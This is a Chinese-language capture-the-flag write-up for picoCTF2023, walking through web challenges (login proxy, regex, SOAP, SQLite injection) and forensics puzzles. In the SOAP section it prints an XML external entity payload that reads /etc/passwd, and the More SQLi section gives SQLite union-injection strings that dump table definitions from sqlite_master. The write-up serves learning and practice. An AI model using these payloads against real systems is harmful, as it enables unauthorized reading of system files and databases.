picoCTF2023

本文最后更新于:2023年6月5日 下午

[TOC]

picoCTF2023

web

findme

看一下题目描述,username:test,password:test! 注意后面有一个感叹号

image-20230318163826388

我们在登录时抓包:

image-20230318164022562

1
2
3
4
cGljb0NURntwcm94aWVzX2Fs

base解码:
picoCTF{proxies_al

image-20230318164123884

重定向之后,再将id进行base64解码:

1
2
3
4
5
bF90aGVfd2F5X2QxYzBiMTEyfQ==

base64解码:

l_the_way_d1c0b112}

得到flag

MatchTheRegex

正则匹配一个字符串,匹配上了给flag

image-20230318164709389

我们登录进去看一下源代码:

image-20230318164751967

这里提示: ^p...F!?,结合比赛名称,我们只需要输入picoCTF! 即可得到flag

image-20230318165002410

SOAP

image-20230318165113124

根据提示:XML外部实体注入

我们点击details时进行抓包

image-20230318165200165

如图:

image-20230318165244888

确实是xml类型的信息

我们只需要构造,引用一个外部实体即可:

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root[
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data><ID>&file;</ID></data>

image-20230318165502435

More SQLi

image-20230318165701861

根据提示:SQLiLite

查阅资料: SQLite 也是一个数据库

SQLitemysql类似,但是没有information_schema数据库

并且SQLite有一个不同点,注释不能使用#,需要使用--

此题的注入点为:password

非预期解

image-20230318170720831

直接使用单引号’闭合,然后使用联合查询union,再使用-- 闭合掉后面

1
' union select 1-- 

预期解

首先我们已经知道了字段数为1,所以我们需要查询表名:

以下三种方式都可以,主要是注释不同

SQLite

  1. 每一个 SQLite 数据库都有一个叫 sqlite_master 的表,该表会自动创建。
  2. sqlite_master是一个特殊表, 存储数据库的元信息, 如表(table), 索引(index), 视图(view), 触发器(trigger), 可通过select查询相关信息。

image-20230318171549316

我们通过如下方式查询sql建表语句

1
2
3
-1' union select (select group_concat(sql) from sqlite_master);
-1' union select (select group_concat(sql) from sqlite_master) --
-1' union select (select group_concat(sql) from sqlite_master)/*

image-20230318171945245

(题目好像改了)

SQLite注入

Forensics

hideme

flag

foremost 分离一下,得到压缩包,压缩包中有flag

flag

PcapPoisoning

得到一个流量包文件,使用wireshark打开:

image-20230318173228860

进行长度排序,最长的那个藏了flag

who is it

image-20230318174504913

这个是通过ip查询 whois

什么是 whois

image-20230318174636911

所以我们根据提示,可以使用ip来查询到域名相关者的姓名信息,

我们可以通过网站:查询

如图:

image-20230318174851494

名字就是flag


picoCTF2023
https://leekosss.github.io/2023/08/24/picoCTF2023/
作者
leekos
发布于
2023年8月24日
更新于
2023年6月5日
许可协议